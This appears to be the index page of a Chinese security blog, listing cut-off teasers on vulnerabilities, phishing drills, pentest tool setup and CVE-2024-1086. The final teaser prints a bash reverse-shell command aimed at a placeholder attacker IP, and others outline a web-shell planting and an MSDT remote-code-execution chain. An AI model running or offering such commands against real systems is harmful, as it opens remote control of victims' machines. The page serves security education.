一、漏洞概述 Parse Server 是一个用于构建移动应用程序和Web应用程序开源框架。受影响版本中，当 Parse Server 使用 PostgreSQL 数据库时，Parse Server 中的 literalizeRegexPart 函数在处理 ...

漏洞描述攻击者通过在HTTP GET请求中传递特殊构造的参数，利用/webroot/decision/view/ReportServer?test=接口将恶意SQL代码解码并执行，将恶意Java代码写入到数据库中，并通过导出数据库落地木...

一、准备工作Gophish是一个开源网络钓鱼工具包特点是开箱即用，特别适合甲方用来对内部员工进行邮件钓鱼演练。项目主页：https://getgophish.com/1、安装支持Windows/ Mac/Linux平台。下载对应...

官方镜像下载地址：https://www.kali.org/downloads一、虚拟机配置使用虚拟机软件：VMware Workstation Pro 16首先点击创建新的虚拟机，先择典型(推荐)完成选择后点击下一步这里我们选择稍后安...

基础准备工作导出burp证书文件 1. 电脑到处burp证书电脑导入证书，不然抓取不到https数据包1. 电脑安装证书，添加到受信任的颁发机构安装/激活/使用proxifier安装proxifier1. 先去官网下载The M...

一、环境介绍小李打开了一个xxx.docx 文件后电脑就中招了，应该怎么解决？office2021都有安全问题，你的office还安全吗？1、微软MSDT远程代码执行漏洞2、安装CS软件3、使用python开一个远程监听...

一、Docker介绍Docker是一种开放源代码平台，用于自动化应用程序的打包、发布和管理。它基于容器化技术，可以将应用程序及其所有依赖项打包为一个独立的、可移植的容器。这个容器将应用程序和相...

简介     AWVS（Acunetix Web Vulnerability Scanner）是一个广泛使用的自动化Web应用程序安全扫描工具，旨在帮助用户检测和修复Web应用程序中的安全漏洞。它专注于Web应用程序...

一、漏洞概述漏洞名称   Linux kernel权限提升漏洞CVE   IDCVE-2024-1086漏洞类型Use-After-Free发现时间2024-03-28漏洞评分7.8漏洞等级高危攻击向量本地所需权限低利...

一、Bash介绍     Shell也称为终端或壳，是人与内核之间的翻译官，而Bash则是Linux中默认使用的ShellBash 反弹Shell的命令如下：bash -i >&/dev/tcp/攻击机_IP/攻击机端...